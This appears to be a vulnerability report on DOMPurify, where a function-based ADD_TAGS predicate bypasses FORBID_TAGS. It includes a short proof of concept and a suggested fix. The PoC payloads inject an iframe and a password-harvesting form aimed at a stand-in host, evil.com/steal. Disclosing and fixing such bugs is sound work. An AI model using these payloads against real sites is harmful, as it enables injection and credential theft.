DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef